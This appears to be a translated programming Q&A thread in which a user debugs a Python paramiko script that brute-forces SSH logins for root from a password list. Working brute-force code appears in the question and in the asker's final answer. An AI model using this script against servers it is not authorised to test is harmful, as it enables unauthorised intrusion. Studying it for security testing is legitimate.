Python循环ssh bruteforce

时间:2017-09-16 11:38:09

标签: python for-loop ssh

即使找到密码,我的想法是创建python尝试密码列表,直到列表结束为止。 我的代码有效,但在继续休息之前它会打印成功消息5次

注意:在这种情况下,在password.txt中存在与循环一样多的循环= 5

with open("passwords.txt", "r") as p:
_passwords = [line.strip() for line in p]
_retries = range(len(_passwords))
for _pass in _passwords:
    try:
        for x in _retries:
            ssh.connect(_host, username=_user, password=_pass)
            print ("Success! user: "+_user+" and pass: "+_pass)
            ssh.close()
    except (paramiko.ssh_exception.AuthenticationException) as e:
        print e
        time.sleep(1)

2 个答案:

答案 0 :(得分:0)

您可以在ssh.close()之后添加sys.exit(),如

ssh.close()
sys.exit()

但不要忘记导入sys包,如

import sys

开始你的文件...

此外,您不必使用两个循环。它可以在一个循环中完成,您可以优化代码。

答案 1 :(得分:0)

好的,我已经成功了,下面是完整的代码。

请告知是否可以以更优雅的方式实现这一点,但新手可以理解

import sys
import time
import base64
import paramiko
import getpass


ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
_host = "192.168.1.150"
_user = "root"
_connection = None
with open("passwords.txt", "r") as p:
    _passwords = [line.strip() for line in p]
    _retries = range(len(_passwords))
    for _pass in _passwords:
        try:
            for x in _retries:
                ssh.connect(_host, username=_user, password=_pass, timeout=4)
                _connection = True
                ssh.close()
            if _connection:
                print ("Success! user: "+_user+" and pass: "+_pass)
        except (paramiko.ssh_exception.AuthenticationException) as e:
            print e
            time.sleep(1)